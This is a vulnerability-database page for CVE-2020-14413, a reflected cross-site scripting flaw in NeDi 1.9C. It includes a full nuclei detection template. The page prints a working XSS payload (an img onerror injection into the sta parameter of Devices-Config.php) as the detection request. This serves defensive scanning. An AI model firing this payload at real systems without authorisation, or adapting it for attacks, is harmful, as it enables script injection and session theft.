HexBrain

Browse / CVEs / CVE-2020-14413

CVE-2020-14413· nedi / nedi· CWE-79

NeDi 1.9C - Cross-Site Scripting

mediumseverity
6.1CVSS score
3.5%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it

NeDi 1.9C is vulnerable to cross-site scripting because of an incorrect implementation of sanitize() in inc/libmisc.php. This function attempts to escape the SCRIPT tag from user-controllable values, but can be easily bypassed, as demonstrated by an onerror attribute of an IMG element as a Devices-Config.php?sta= value.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a patched version of NeDi or apply the vendor-supplied patch to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/Devices-Config.php?sta=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E
Positive when: contains "<img src=x onerror=alert(document.domain)>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-14413 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-14413

info:
  name: NeDi 1.9C - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: NeDi 1.9C is vulnerable to cross-site scripting because of an incorrect implementation of sanitize() in inc/libmisc.php. This function attempts to escape the SCRIPT tag from user-controllable values, but can be easily bypassed, as demonstrated by an onerror attribute of an IMG element as a Devices-Config.php?sta= value.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of NeDi or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://gist.github.com/farid007/8db2ab5367ba00e87f9479b32d46fea8
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14413
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-14413
    cwe-id: CWE-79
    epss-score: 0.03472
    epss-percentile: 0.89183
    cpe: cpe:2.3:a:nedi:nedi:1.9c:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: nedi
    product: nedi
  tags: cve,cve2020,nedi,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/Devices-Config.php?sta=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=alert(document.domain)>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from